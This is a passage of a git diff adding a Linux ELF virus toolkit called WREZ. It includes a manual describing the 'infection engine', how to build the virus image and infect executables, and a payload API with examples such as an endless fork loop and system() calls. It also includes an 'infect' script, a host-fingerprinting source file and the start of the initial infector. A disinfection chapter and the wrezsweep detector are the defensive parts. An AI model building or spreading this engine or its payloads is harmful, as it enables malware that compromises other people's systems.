43\entry {wrezsweep help}{11}
44\entry {wrezsweep utility}{11}
45\entry {wrezsweep verbose mode}{11}
diff --git a/other/wrez/doc/wrez-manual/wrez.fn b/other/wrez/doc/wrez-manual/wrez.fn
new file mode 100644
index 0000000..e69de29
--- /dev/null
+++ b/other/wrez/doc/wrez-manual/wrez.fn
diff --git a/other/wrez/doc/wrez-manual/wrez.ky b/other/wrez/doc/wrez-manual/wrez.ky
new file mode 100644
index 0000000..e69de29
--- /dev/null
+++ b/other/wrez/doc/wrez-manual/wrez.ky
diff --git a/other/wrez/doc/wrez-manual/wrez.log b/other/wrez/doc/wrez-manual/wrez.log
new file mode 100644
index 0000000..528afa4
--- /dev/null
+++ b/other/wrez/doc/wrez-manual/wrez.log
@@ -0,0 +1,180 @@
1This is pdfTeX, Version 3.14159-1.00a-pretest-20011114-ojmw (Web2C 7.3.7) (format=pdftex 2002.3.30) 14 APR 2002 11:21
2**/secure/cvs-impact/wrez/wrez/doc/wrez-manual/wrez.texinfo
3(/secure/cvs-impact/wrez/wrez/doc/wrez-manual/wrez.texinfo{/usr/share/texmf/pdf
4tex/config/pdftex.cfg}
5Babel <v3.7h> and hyphenation patterns for american, french, german, ngerman, n
6ohyphenation, loaded.
7(/usr/share/texmf/tex/texinfo/texinfo.tex
8Loading texinfo [version 2002-03-01.06]: Basics,
9\bindingoffset=\dimen16
10\normaloffset=\dimen17
11\pagewidth=\dimen18
12\pageheight=\dimen19
13\outerhsize=\dimen20
14\outervsize=\dimen21
15\cornerlong=\dimen22
16\cornerthick=\dimen23
17\topandbottommargin=\dimen24
18\headlinebox=\box16
19\footlinebox=\box17
20\margin=\insert252
21\EMsimple=\toks12
22\singlespaceskip=\skip18
23\groupinvalidhelp=\toks13
24\mil=\dimen25
25\exdentamount=\skip19
26\inmarginspacing=\skip20
27 pdf,
28\tempnum=\count26
29\lnkcount=\count27
30\filename=\toks14
31\filenamelength=\count28
32\pgn=\count29
33\toksA=\toks15
34\toksB=\toks16
35\toksC=\toks17
36\toksD=\toks18
37\boxA=\box18
38\countA=\count30
39
40(/usr/share/texmf/pdftex/plain/misc/pdfcolor.tex) fonts,
41\sffam=\fam8
42\textleading=\dimen26
43\mainmagstep=\count31
44\fontdepth=\count32
45 page headings,
46\titlepagetopglue=\skip21
47\titlepagebottomglue=\skip22
48\evenheadline=\toks19
49\oddheadline=\toks20
50\evenfootline=\toks21
51\oddfootline=\toks22
52
53tables,
54\tableindent=\dimen27
55\itemindent=\dimen28
56\itemmargin=\dimen29
57\itemmax=\dimen30
58\itemno=\count33
59\multitableparskip=\skip23
60\multitableparindent=\skip24
61\multitablecolspace=\dimen31
62\multitablelinespace=\skip25
63\colcount=\count34
64 conditionals, indexing,
65\secondaryindent=\skip26
66\partialpage=\box19
67\doublecolumnhsize=\dimen32
68 sectioning,
69\chapno=\count35
70\secno=\count36
71\subsecno=\count37
72\subsubsecno=\count38
73\appendixno=\count39
74\absseclevel=\count40
75\secbase=\count41
76\chapheadingskip=\skip27
77\secheadingskip=\skip28
78\subsecheadingskip=\skip29
79 toc,
80\tocfile=\write0
81\contentsrightmargin=\skip30
82\savepageno=\count42
83\lastnegativepageno=\count43
84\shortappendixwidth=\dimen33
85\tocindent=\dimen34
86 environments,
87\dblarrowbox=\box20
88\longdblarrowbox=\box21
89\pushcharbox=\box22
90\bullbox=\box23
91\equivbox=\box24
92\errorbox=\box25
93\lispnarrowing=\skip31
94\envskipamount=\skip32
95\circthick=\dimen35
96\cartouter=\dimen36
97\cartinner=\dimen37
98\normbskip=\skip33
99\normpskip=\skip34
100\normlskip=\skip35
101\lskip=\skip36
102\rskip=\skip37
103\tabw=\dimen38
104 defuns,
105\defbodyindent=\skip38
106\defargsindent=\skip39
107\deftypemargin=\skip40
108\deflastargmargin=\skip41
109\parencount=\count44
110 macros,
111\macscribble=\write1
112\paramno=\count45
113\macname=\toks23
114
115cross references,
116\auxfile=\write2
117\savesfregister=\count46
118\footnoteno=\count47
119 (/usr/share/texmf/tex/plain/dvips/epsf.tex
120\epsffilein=\read0
121\epsfframemargin=\dimen39
122\epsfframethickness=\dimen40
123\epsfrsize=\dimen41
124\epsftmp=\dimen42
125\epsftsize=\dimen43
126\epsfxsize=\dimen44
127\epsfysize=\dimen45
128\pspoints=\dimen46
129\epsfnoopenhelp=\toks24
130)
131\noepsfhelp=\toks25
132 localization,
133\nolanghelp=\toks26
134\defaultparindent=\dimen47
135
136and turning on texinfo input format.) (./wrez.aux)
137@cpindfile=@write3
138@fnindfile=@write4
139@vrindfile=@write5
140@tpindfile=@write6
141@kyindfile=@write7
142@pgindfile=@write8
143 [1
144\openout2 = `wrez.aux'.
145
146\openout3 = `wrez.cp'.
147
148\openout4 = `wrez.fn'.
149
150\openout5 = `wrez.vr'.
151
152\openout6 = `wrez.tp'.
153
154\openout7 = `wrez.ky'.
155
156\openout8 = `wrez.pg'.
157
158{/usr/share/texmf/dvips/config/pdftex.map}] [2] (./wrez.toc) [-1] (./wrez.toc)
159(./wrez.toc)
160(WREZ Introduction)
161\openout0 = `wrez.toc'.
162
163 Chapter 1 [1] [2] Chapter 2 [3] [4] Chapter 3 [5]
164Chapter 4 [6] [7] Chapter 5 [8] [9] [10] [11] (Index) [12] (./wrez.cps)
165[13] )
166Here is how much of TeX's memory you used:
167 1516 strings out of 12477
168 16330 string characters out of 89681
169 42065 words of memory out of 263001
170 2512 multiletter control sequences out of 10000+0
171 31784 words of font info for 110 fonts, out of 400000 for 1000
172 19 hyphenation exceptions out of 1000
173 12i,6n,10p,262b,319s stack positions out of 300i,100n,500p,50000b,4000s
174</usr/share/texmf/fonts/type1/bluesky/cm/cmti9.pfb></usr/share/texmf/font
175s/type1/bluesky/cm/cmr9.pfb></usr/share/texmf/fonts/type1/bluesky/cm/cmtt12.pfb
176></usr/share/texmf/fonts/type1/bluesky/cm/cmtt10.pfb></usr/share/texmf/fonts/ty
177pe1/bluesky/cm/cmti10.pfb></usr/share/texmf/fonts/type1/bluesky/cm/cmbxti10.pfb
178></usr/share/texmf/fonts/type1/bluesky/cm/cmsy10.pfb></usr/share/texmf/fonts/ty
179pe1/bluesky/cm/cmr10.pfb></usr/share/texmf/fonts/type1/bluesky/cm/cmbx12.pfb>
180Output written on wrez.pdf (16 pages, 126833 bytes).
diff --git a/other/wrez/doc/wrez-manual/wrez.pdf b/other/wrez/doc/wrez-manual/wrez.pdf
new file mode 100644
index 0000000..48e25de
--- /dev/null
+++ b/other/wrez/doc/wrez-manual/wrez.pdf
Binary files differ
diff --git a/other/wrez/doc/wrez-manual/wrez.pg b/other/wrez/doc/wrez-manual/wrez.pg
new file mode 100644
index 0000000..e69de29
--- /dev/null
+++ b/other/wrez/doc/wrez-manual/wrez.pg
diff --git a/other/wrez/doc/wrez-manual/wrez.texinfo b/other/wrez/doc/wrez-manual/wrez.texinfo
new file mode 100644
index 0000000..cca64e1
--- /dev/null
+++ b/other/wrez/doc/wrez-manual/wrez.texinfo
@@ -0,0 +1,635 @@
1\input texinfo
2@c %**start of header
3@setfilename wrez
4@settitle WREZ infection engine manual
5@c %**end of header
6
7@ifinfo
8This is the technical documentation and manual to the WREZ infection
9engine.
10
11Copyright @copyright{} 2002 Anonymous.
12@end ifinfo
13
14@titlepage
15@sp 10
16@center @titlefont{WREZ infection engine manual}
17@sp 2
18@center version 0.0
19
20@page
21@vskip 0pt plus 1filll
22Copyright @copyright{} 2002 Anonymous.
23@end titlepage
24
25@contents
26
27@comment node-name, next, previous, up
28@node Top, WREZ Introduction, , (dir)
29
30@menu
31* WREZ Introduction:: A short introduction about the engine
32* Index:: The alphabetical index
33@end menu
34
35
36@unnumbered WREZ Introduction
37
38This introduction will guide you through the rest of the manual and
39explains what its all about.
40
41@cindex about WREZ
42WREZ is a generic virus engine that provides a concise and powerful API to
43provide various functionality for payload code. It can be used to embed
44hostile code into and generally makes the world easier for this type of
45payload. Currently, it is designed to infect ELF executeables on the Linux
46operating system under the Intel IA32 architecture.
47
48@cindex engine code
49Most of the engine is written in position independant C code, while some
50low level parts are written in IA32 assembly. The engine consists of a
51number of independant modules. It is possible to enable and disable those
52modules individually to reduce the overall engine size.
53
54@cindex WREZ toolchain
55A complete toolchain around the engine is provided. It includes tools to
56infect executeable files, check for a possible infection and to disinfect
57binaries which are infected with WREZ. The buildprocess is controlled
58through a central @code{Makefile}, and a testing suite is provided to test
59and demonstrate certain features of the engine using example binaries.
60
61
62@chapter Using WREZ
63
64This chapter describes how to control the WREZ build process. It will show
65you how to enable and disable various features of the engine, how to
66produce an initial infector and how to use it to infect an arbitrary
67executeable.
68
69@cindex building WREZ
70@node Building WREZ,,,Top
71@section Building WREZ
72
73To build the engine from the sources, you need the complete GNU toolchain,
74which includes @command{gcc}, @command{ld}, @command{objdump},
75@command{objcopy}, @command{cpp} and @command{gmake}. Additionally you need
76the have the @command{nasm} assembler and the @command{awk} script language
77installed.
78
79Ensure all of the above tools are properly installed before proceeding.
80
81@cindex engine features, configuration
82@subsection Configuring engine features
83
84Open the @file{Makefile} file in your favorite editor. The first few lines
85are the configuration section of the @file{Makefile}, where you can enable
86and disable the features that will be in the virus produced. To enable
87them, uncomment them. Be aware that some features depend on other features,
88so only enable them in case you have this code enabled, too. To know what
89features you need, determine what functionality of the API you need for
90your payload. @xref{WREZ API}.
91
92@subsection Building the virus binary
93
94To build the virus binary, issue a "@command{make release}" command in the
95top directory. When the build succeeds, a new directory
96"@code{release-}@emph{version}" will be created accordingly and the following
97files are created there:
98@table @code
99@cindex release target, files created
100@item infect
101A simple wrapper to infect a single executeable with vanilla options.
102
103@item initial
104The more detailed infection program, offering a more precise control of the
105initial infection process.
106
107@item wrez.bin.conf
108This is a small configuration file providing some basic info about the
109@file{wrez.bin.out} file, such as certain relative file offsets where
110information can be stored. This file is important and is used by the
111@file{initial} infector.
112
113@item wrez.bin.out
114The central virus image, containing the virus code and additional
115configuration data. This is always the plain image, even when polymorph
116infection is used, hence you can disassemble it without any problems. Note
117that within an infected file this image is prepended with two opcodes:
118@code{pusha} and @code{pushf}. This makes up two extra bytes. The
119@file{initial} infector automatically cares for this, but it is important
120to remember when analyzing the image alone.
121
122@item wrezsweep
123This is the disinfection utility, which is able to disinfect any file
124infected with the version of the virus you just build. Keep this file safe,
125as it offers a reliable way for automatic detection and disinfection.
126@xref{wrezsweep utility}.
127
128@end table
129
130@cindex infect wrapper
131@section Infecting executeables using @command{infect}
132
133In most cases, after having build the virus image, you want to test it by
134infecting a sample executeable. To do this common operation the
135@command{infect} script has been created in the release directory. It is a
136wrapper around the @command{initial} program. Just run @command{infect}
137with the file you want to infect as argument:
138@example
139release % cp /bin/date .
140release % ./infect date | tail -2
141-rwx------ 1 anon anon 22820 Jan 11 18:38 date
142-rwx------ 1 anon anon 26437 Jan 11 18:39 date.infected
143release %
144@end example
145Note that @command{infect} automatically creates a copy of the file by
146appending @file{.infected} to the original filename.
147
148
149@cindex initial infector
150@section Infecting executeables using @command{initial}
151
152While the @command{infect} wrapper is what you commonly use, the background
153work is done by the @command{initial} program. It understands details about
154the virus structure and modifies them accordingly to make the virus work
155within the victim executeable. It provides a number of command line
156options, which are listed below.
157
158@cindex initial, command line options
159@subsection @command{initial} command line options
160
161@command{initial} @code{[-c config] [-i virus-image] <victim>}
162
163@table @code
164@cindex wrez.bin.out, configuration
165@item -c @emph{config}
166Allows to use another configuration file. The default is to use the
167@file{wrez.bin.conf} file which was created at the same time as the virus
168was build.
169
170@item -i @emph{outfile}
171Allows you to specify another virus image to use for infection. The default
172is to use the @file{wrez.bin.out} file created when the virus image was
173build. However, you might want to keep multiple different versions of the
174virus, and this option allows you to select which image file to use.
175
176@item victim
177This is a mandatory option since it tells the program which executeable to
178infect. Note that there are some restrictions on the filename length, so in
179case there is an error, try moving the file you want to infect to the local
180directory and use a shorter pathname as parameter.
181@end table
182
183Note that the @command{initial} program infects the victim executeable
184in-place, without creating a copy first.
185
186@chapter WREZ Source distribution files
187
188This chapter will explain the use of every source file within the wrez source
189distribution. It should provide a rough map where to modify the engine.
190
191@table @code
192@cindex source, files
193
194@item Makefile
195The main build targets Makefile. The most important targets are
196@command{release}, @command{dist}, @command{distclean} and @command{wrez}.
197The individual targets are described in details. @xref{Building WREZ}.
198
199@item common.c
200Provides inlined small assembly versions of the most commonly used memory
201functions, such as @code{strlen}, @code{memset} and similar functions.
202
203@item commontest.c
204A small testbed for the common functions, to ensure they are working
205properly.
206
207@item compress.sh
208This script is called whenever a new virus image is build. It builds the
209compressed virus image from the plain one, by detecting the boundary
210between decompression stub and payload, compressing the payload and then
211merging the decompression stub and compressed payload into the output file.
212While doing this multiple files are created which reflect the certain
213stages of the image. They can be very helpful when debugging the virus,
214especially when polymorphism is enabled.
215
216@item compressor.c
217The LZ compression code resides here. The decompression stub is in
218@file{wrez.asm} though. It is never used on its own, but called from within
219@file{compress.sh} instead.
220
221@item crypto-test.c
222Testbed for the functionality residing in @file{crypto.c}. The make target
223"@command{cryptotest}" drives this file.
224
225@item crypto.c
226@item crypto.h
227Various abstractions to the crypto layers in WREZ. Prototype definitions
228and API description for the functions reside in @file{crypto.h}.
229
230@item debug/
231Every small tool, script or helper application that is used only for the
232purpose of debugging the engine is put here. Each file is independant from
233the engine though, and you have to build them on your own.
234
235@item doc/
236Various piece of documentation, including this one resides here. The files
237@file{CHANGELOG} and @file{TODO} fullfil their usual purpose.
238
239@item fingerprint.c
240@item fingerprint.h
241The per-host fingerprinting code that is used throughout the engine for
242different things is hold here. The prototypes and documentations for the
243API reside in @file{fingerprint.h}.
244
245@item initial.c
246The source for the initial infector which is build into the
247@code{release-}@emph{version}@code{/} directory when building the
248"@code{release}" target.
249
250@item int80-net.h
251@item int80.h
252Inlined versions of syscalls. The @file{int80-net.h} file includes only
253network related socketcalls, while @file{int80.h} is the main syscall
254include file. Add needed syscalls here, but ensure they are behaving as
255documented on the manpage. Especially pay attention to what registers are
256clobbered and ensure correct stack correction.
257
258TODO
259@item isolation/
260@item lime-interface-test.c
261@item lime-interface-test.lds
262@item lime-interface.c
263@item lime-interface.h
264@item lime.asm
265@item lookup-example/
266@item lookup.c
267@item lookup.h
268@item obsolete/
269@item release-@emph{version}/
270@item tmp/
271@item unistd.h
272@item walker/
273@item wrconfig.h
274@item wrcore.c
275@item wrez-link.lds
276@item wrez.asm
277@item wrezdefs.h
278@item wrezdefs.inc
279@item wrezsweep.c
280@item wrutil.c
281
282@end table
283
284
285@chapter Limitations of viral code
286
287@node WREZ API,,,Top
288@chapter WREZ API
289
290The engine provides a helpful API to its payload code, which allows the
291payload to easily accomplish some common tasks. This chapter will explain
292the complete API and shows how to use it by giving small example code
293snippets.
294
295@cindex helper macros
296@section Helper macros
297
298WREZ provides some macros to work around the limitations of viral code,
299such as position indendance.
300
301@cindex STRINGPTR macro
302@subsection STRINGPTR macro
303The @code{STRINGPTR} macro provides a straightforward way to refer to a
304constant string. Note that the escape character '@code{\}' has to be
305escaped itself, as the macro runs through the C string processor twice.
306The macro sets a pointer to the string, as shown in this example:
307@example
308@{
309 char * strptr; /* pointer to ASCIIZ string */
310
311 STRINGPTR (strptr, "hello world\\n");
312@}
313@end example
314
315@cindex FUNCPTR macro
316@subsection FUNCPTR macro
317The @code{FUNCPTR} macro circumvents the limitations of obtaining the
318address of a virus function. In non position independant code, such as a
319normal executeable, it is possible to obtain the address to a function by
320simple referring the function name within an @emph{r-value} or by using the
321'@code{&}' operator. Within PIC code this is not possible, since the
322address is not known at link time. However, by use of the @code{FUNCPTR}
323macro a small instruction sequence is inlined into the code, which computes
324the correct address to a function. The following code would resolve the
325address of the @code{wrez_main} function:
326@example
327@{
328 void * wrfunc;
329
330 FUNCPTR (wrfunc, "wrez_main");
331@}
332@end example
333
334@cindex system calls
335@section Calling syscalls
336
337The file @file{int80.h} provides inlined versions of a large number of
338common Linux system calls. To use them from within your payload code, just
339include the file and use the syscalls as usual. They get inlined into your
340code and behave as you would expect it. When a syscall is missing, copy the
341code of a syscall with the same number of arguments and rename it
342accordingly.
343
344@example
345
346#include "int80.h"
347...
348 /* use the fork syscall, see the fork(2) manpage */
349 while (fork ())
350 ;
351@end example
352
353@cindex library calls
354@section Library calls
355
356WREZ provides an API to resolve any function symbol of any shared object.
357This can be used to call functions from libraries such as @command{libc}.
358In the following example we run the shell command "@command{uname -a}"
359using the @command{system} library function.
360
361@example
362@{
363 char * systemf;
364 char * command;
365 int (* system)(char *);
366
367 STRINGPTR (systemf, "system");
368 STRINGPTR (command, "uname -a");
369
370 system = symbol_resolve ((void *) cfg->elf_base, systemf);
371 if (system != NULL)
372 system (command);
373@}
374@end example
375
376All the symbol resolving is done with the help of the lookup module. The
377module provides the "@code{symbol_resolve}" function, which takes two
378parameters. The first parameter is the "@code{elf_base}", a pointer to the
379first byte of the ELF header. For normal Linux executeables it is usually
380@code{0x08048000}, but you can provide another address if you know it. This
381has some uses which are detailed later, when call hooking is discussed. The
382second parameter is a pointer to an ASCIIZ string with the function name
383you want to resolve. After processing the input parameters the function
384tries to resolve the symbol and upon success returns a pointer to the entry
385point of the function referred by the symbol. On failure, @code{NULL} is
386returned, which is checked for in the example code. After resolving the
387function can be used as if it would be a normal library call, as long as
388you keep the pointer to it.
389
390
391@cindex disinfection
392@chapter Disinfection
393
394When an executeable has been infected by a WREZ virus, nearly no
395information is lost. Hence it is possible to reconstruct a working
396executeable from the infected executeable, which does not include the virus
397code. The @command{wrezsweep} utility provides the functionality to detect
398and optionally remove and extract the viral code from an executeable. This
399chapter provides a description of the tool and advice for manual
400disinfection.
401
402It is not possible to reconstruct the original executeable perfectly, as
403two padding arrays are joined when infecting the file. Upon disinfection it
404is not clear where the original seperation was. It would be possible to
405store this information within the virus itself, but as the padding has no
406function besides aligning the following data, this was not done. As a
407result, the disinfected executeable may be up to 32 bytes longer than the
408original, uninfected executeable was. Every bit of functionality was
409preserved, though, and the binaries behave in exactly the same way. Also,
410the load image is exactly the same, only the dead file image may differ.
411
412@cindex disinfection, manual
413@section Manual disinfection
414
415With some knowledge of the ELF file format and the wrez infection method it
416is possible to disinfect an infected executeable manually. Please do not
417attempt disinfection without knowledge of the ELF format.
418
419First, the virus must be located within the file. Since the file could be
420infected only with section headers in the first place, you can use section
421headers to help you locate it. Infact, it may be the only reliable way to
422do this. To do this, first locate the end of the @code{.bss} section
423(@code{sh_offset} + @code{sh_size}). The @command{ht} and @command{biew}
424tools come in handy at this. Directly after the section ends, there is
425either the section header string table or there is virus code. The virus
426code starts with a fake @code{.ctors} address, so it looks like
427@example
42800006204: 08 F2 04 08 9C 60 E8 3D 00 00 00 C2 A8 04 08 07 01 00 00 98
429@end example
430Where @code{08 F2 04 08}, decoded as little endian 32 bit offset
431@code{0x0804f208} is the entry point of the virus. This is always the
432virtual address directly behind the address itself. So the code at the
433entry point starts with @code{9C 60 E8 3D 00 00 00}, which is a sequence of
434the @command{pusha, pushf, call $+0x3d} instructions. Everything from this
435offset (@code{0x6204}) up to the last byte of the data @code{PT_LOAD}
436segment belongs to the virus. This entire part of the file can be
437removed later and the data behind it has to slide to the front.
438
439But first its important to know the address of the @code{.ctors} section as
440the section header table shows it. As WREZ disguises the real address, and
441the real active @code{.ctors} address is independant from what the section
442header shows, the address of the @code{.ctors} section header is still the
443old original one. Just the one used to activate the @code{.ctors} in the
444code has changed upon infection. We have to change it back, so write the
445address down with the help of either @command{objdump} or @command{ht}.
446@example
447$ objdump -h infected | grep "\.ctors"
448 17 .ctors 00000008 0804ee94 0804ee94 00005e94 2**2
449@end example
450So the virtual address is @code{0x0804ee94}, and the @code{.ctors} section
451starts at offset @code{0x5e94} within the file.
452
453@cindex removing the virus
454@subsection Step 1. Removing the virus code
455
456Now remove the virus code from the file and slide all the data behind it to
457the front. Slide it forward so that the first byte which was after the
458virus data now starts where the @code{.bss} section starts within the file.
459In the example from above, it would start at file offset @code{0x6204 -
460bss.sh_size}. Calculate the number of bytes you slided the data forward, it
461will be called @emph{displacement} from now on.
462
463Afterwards there are four things remaining that must be changed to repair
464the now damaged file. The next two steps are enough to make the file run
465again, without any virus code, while the last two steps will fixup the
466section headers, so that debug tools work on the file again.
467
468@cindex .ctors address, restoring the
469@subsection Step 2. Restoring @code{.ctors}
470
471To restore the @code{.ctors} activation code, you have to locate it within
472the file. To do this, just search for the virtual address the virus is
473mapped at. This is the same address we decoded above, minus four:
474@code{0x0804f204} (@code{= 0x0804f208 - 4}). This will result in at least
475one hit, which is within an immediate 32 bit register load, most likely
476into the @code{%ebx} register, so a possible hit will look like:
477@example
47800003C17: BB 04 F2 04 08 83 3D 04 F2 04 08 FF 74 0C 8B 03 FF D0 83 C3
479@end example
480Where the address is at @code{0x3c18} and @code{0xbb} is
481"@code{movl ..., %ebx}". Overwrite the address with the original one you
482extracted from the @code{.ctors} section header.
483
484@cindex PT_LOAD segment header, fixing the
485@subsection Step 3. Fixing @code{PT_LOAD} segment header
486
487Now, seek to the program header table and inspect the second @code{PT_LOAD}
488header. Both the @code{p_filesz} and @code{p_memsz} elements of the
489structure must be fixed. The @code{p_filesz} element must be decreased by
490the @emph{displacement}, which is the virus length plus the @code{.bss}
491section length. The @code{p_memsz} element must be decreased by just the
492virus in-memory length. So the entire calculation is this:
493@example
494 vlen_mem = ptl2.p_offset + ptl2.p_memsz;
495 vlen_mem -= bss.sh_offset + bss.sh_size;
496 vlen_file = ptl2.p_offset + ptl2.p_filesz;
497 vlen_file -= bss.sh_offset;
498
499 ptl2.p_filesz -= vlen_file;
500 ptl2.p_memsz -= vlen_mem;
501@end example
502
503@cindex section header table offset, fixing the
504@subsection Step 4. Fixing @code{eh_shoff} ELF header entry
505
506Decrease the @code{eh_shoff} ELF header element by @emph{displacement}.
507Since the section header table usually lies after and @code{PT_LOAD}
508segments, it is moved by removing the virus code from the executeable and
509we have to fix the section header table offset.
510
511@cindex section header table, fixing the
512@subsection Step 5. Fixing section header table
513
514As final step we have to fix any section header that is refering to data
515that was behind the virus, as it was slided to the front by
516@emph{displacement} bytes. Examine every section header at @code{eh_shoff},
517and correct the @code{sh_offset} elements if they lie behind the last byte
518refered by the @code{PT_LOAD} data segment.
519
520@example
521 for (n = 0 ; n < elfhdr.e_shnum ; ++n) @{
522 if (sectionhdr[n].sh_offset > (ptl2.p_offset + ptl2.p_filesz))
523 sectionhdr[n].sh_offset -= displacement;
524 @}
525@end example
526
527@node wrezsweep utility,,,Top
528@cindex wrezsweep utility
529@section @command{wrezsweep} utility
530
531The @command{wrezsweep} utility is very natural to use. In its default mode
532it takes filenames provided on the command line. Each filename is checked
533for infections, after it has been ensured its a @code{ET_EXEC},
534@code{EM_386} executeable. When an infection is found a message is printed
535and details are shown. When disinfection has been enabled, it automatically
536tries to disinfect the file. Enabling the verbose mode is a good idea when
537you know about the internals or you are about to disinfect the file
538manually. The utility will most likely detect other viruses, which use the
539same infection method, such as the
540@cindex VIT virus
541@emph{VIT virus}, written by silvio. Disinfection uses details related to
542the workings of the WREZ engine however, so it is not possible to disinfect
543files which are infected with other viruses.
544
545@subsection @command{wrezsweep} command line options
546@command{wrezsweep} @code{[-hxDv] [-d virus] <file1 [file2 [...]]>}
547
548@table @code
549@cindex wrezsweep help
550@item -h
551Print the usage and exit.
552
553@cindex disinfection, automatic
554@item -x
555Once an infection has been detected, try to disinfect the file in-place.
556
557@cindex polymorph disinfection
558@item -D
559Fall back to extract the correct original @code{.ctors} address from the
560section header table instead of parsing the virus configuration structure.
561This has to be used to deal with binaries that are infected with a
562polymorph version of the virus. Generally has no negative effect.
563
564@cindex wrezsweep verbose mode
565@item -v
566Be more verbose, especially when disinfecting files.
567
568@cindex virus extraction, automatic
569@item -d virus
570Extract the entire virus body from the file and save it to "@file{virus}".
571Note that the @code{.ctors} address is not included in the body. However,
572it is shown when detecting an infected file.
573
574@item file1, file2, @dots{}, file@emph{n}
575Files to scan for infections. Once an infection is noticed, appropiate
576actions are taken, as controlled by the other command line options.
577
578@end table
579
580@cindex wrezsweep example
581@subsection @command{wrezsweep} example use
582
583In the following example we use the @command{wrezsweep} utility to
584disinfect an infected copy of the @file{date} executeable. The infected
585copy is called @file{date.infected}.
586
587@example
588$ ls -l date date.infected ; \
589> ./wrezsweep -x -v date date.infected ; \
590> ls -l date date.infected
591
592-rwx------ 1 anon anon 22820 Apr 10 22:30 date
593-rwx------ 1 anon anon 26962 Apr 10 22:30 date.infected
594
595wrezsweep - version 0.2
596
597scanning 2 files
598disinfection enabled
599====================================================================
600FILE date
601CLEAN: date
602FILE date.infected
603WARNING: file "date.infected", possible infection detected !
604 memory: 8856 bytes at 0x0804f204
605 file: 3638 (+5218 mem) bytes at 0x00006204
606DISINFECTING
607 old ctors address: 0x0804ee94
608 virus ctors address: 0x0804f204
609 scanning for 0x0804f204 in: [0x0 - 0x5e54]
610 found virus ctors activation code within crt0.o at: 0x00003c18
611 scanning for 0x0804f204 in: [0x3c18 - 0x3c58]
612 found second virus ctors activation code at: 0x00003c1e
613 restored old ctors address
614 disabled virus activation, viral code is still in file, though
615 sliding 0x4d0 bytes at the end of file (0x101a bytes forward)
616 section 24 fixed
617 successfully removed viral code from file
618
619-rwx------ 1 anon anon 22820 Apr 10 22:30 date
620-rwx------ 1 anon anon 22840 Apr 10 22:30 date.infected
621
622$
623@end example
624
625As you can see, the disinfected version of the file is 20 bytes larger than
626the original version. This extra space comes from unused section padding
627and has no effect on how the file behaves.
628
629@node Index,,, Top
630@unnumbered Index
631
632@printindex cp
633
634@bye
635
diff --git a/other/wrez/doc/wrez-manual/wrez.toc b/other/wrez/doc/wrez-manual/wrez.toc
new file mode 100644
index 0000000..51dde2a
--- /dev/null
+++ b/other/wrez/doc/wrez-manual/wrez.toc
@@ -0,0 +1,27 @@
1\unnumbchapentry{WREZ Introduction}{1}
2\chapentry{Using WREZ}{1}{2}
3\secentry{Building WREZ}{1}{1}{2}
4\subsecentry{Configuring engine features}{1}{1}{1}{2}
5\subsecentry{Building the virus binary}{1}{1}{2}{2}
6\secentry{Infecting executeables using \command {infect}}{1}{2}{3}
7\secentry{Infecting executeables using \command {initial}}{1}{3}{3}
8\subsecentry{\command {initial} command line options}{1}{3}{1}{3}
9\chapentry{WREZ Source distribution files}{2}{4}
10\chapentry{Limitations of viral code}{3}{6}
11\chapentry{WREZ API}{4}{7}
12\secentry{Helper macros}{4}{1}{7}
13\subsecentry{STRINGPTR macro}{4}{1}{1}{7}
14\subsecentry{FUNCPTR macro}{4}{1}{2}{7}
15\secentry{Calling syscalls}{4}{2}{7}
16\secentry{Library calls}{4}{3}{8}
17\chapentry{Disinfection}{5}{9}
18\secentry{Manual disinfection}{5}{1}{9}
19\subsecentry{Step 1. Removing the virus code}{5}{1}{1}{10}
20\subsecentry{Step 2. Restoring \code {.ctors}}{5}{1}{2}{10}
21\subsecentry{Step 3. Fixing \code {PT_LOAD} segment header}{5}{1}{3}{10}
22\subsecentry{Step 4. Fixing \code {eh_shoff} ELF header entry}{5}{1}{4}{10}
23\subsecentry{Step 5. Fixing section header table}{5}{1}{5}{10}
24\secentry{\command {wrezsweep} utility}{5}{2}{11}
25\subsecentry{\command {wrezsweep} command line options}{5}{2}{1}{11}
26\subsecentry{\command {wrezsweep} example use}{5}{2}{2}{11}
27\unnumbchapentry{Index}{13}
diff --git a/other/wrez/doc/wrez-manual/wrez.tp b/other/wrez/doc/wrez-manual/wrez.tp
new file mode 100644
index 0000000..e69de29
--- /dev/null
+++ b/other/wrez/doc/wrez-manual/wrez.tp
diff --git a/other/wrez/doc/wrez-manual/wrez.vr b/other/wrez/doc/wrez-manual/wrez.vr
new file mode 100644
index 0000000..e69de29
--- /dev/null
+++ b/other/wrez/doc/wrez-manual/wrez.vr
diff --git a/other/wrez/fingerprint.c b/other/wrez/fingerprint.c
new file mode 100644
index 0000000..a7b3365
--- /dev/null
+++ b/other/wrez/fingerprint.c
@@ -0,0 +1,21 @@
1
2#include "int80.h"
3#include "unistd.h"
4#include "fingerprint.h"
5#include "crypto.h"
6
7
8unsigned int
9fp_get (void)
10{
11 unsigned int hash;
12 struct utsname thishost;
13
14
15 uname (&thishost);
16 hash = mhash ((unsigned char *) &thishost, sizeof (thishost));
17
18 return (hash);
19}
20
21
diff --git a/other/wrez/fingerprint.h b/other/wrez/fingerprint.h
new file mode 100644
index 0000000..a53ff14
--- /dev/null
+++ b/other/wrez/fingerprint.h
@@ -0,0 +1,15 @@
1
2#ifndef FINGERPRINT_H
3#define FINGERPRINT_H
4
5/* fp_get
6 *
7 * get a 32 bit host fingerprint hash build out of 'struct utsname' uname
8 * output
9 *
10 * return hash value
11 */
12unsigned int fp_get (void);
13
14#endif
15
diff --git a/other/wrez/fingerprint.o b/other/wrez/fingerprint.o
new file mode 100644
index 0000000..abe5ee8
--- /dev/null
+++ b/other/wrez/fingerprint.o
Binary files differ
diff --git a/other/wrez/infect b/other/wrez/infect
new file mode 100755
index 0000000..2ddbe11
--- /dev/null
+++ b/other/wrez/infect
@@ -0,0 +1,11 @@
1#!/bin/sh
2
3if [ $# != 1 ]; then
4 echo "usage: $0 pathname"
5 echo
6 exit
7fi
8cp $1 victim
9./initial victim
10mv victim $1.infected
11ls -l $1 $1.infected
diff --git a/other/wrez/initial b/other/wrez/initial
new file mode 100755
index 0000000..5832f09
--- /dev/null
+++ b/other/wrez/initial
Binary files differ
diff --git a/other/wrez/initial.c b/other/wrez/initial.c
new file mode 100644
index 0000000..8dfc0e3
--- /dev/null
+++ b/other/wrez/initial.c
@@ -0,0 +1,237 @@
1
2/* initial infector which infects exactly one given binary with the virus
3 * this is necessary because we only have the virus in raw binary form after
4 * the build has taken place (i.e. no executeable elf file). so we have two
5 * choices, either putting together a proper initial elf file, or executing
6 * it as if it would already have infected a process (this one). the later is
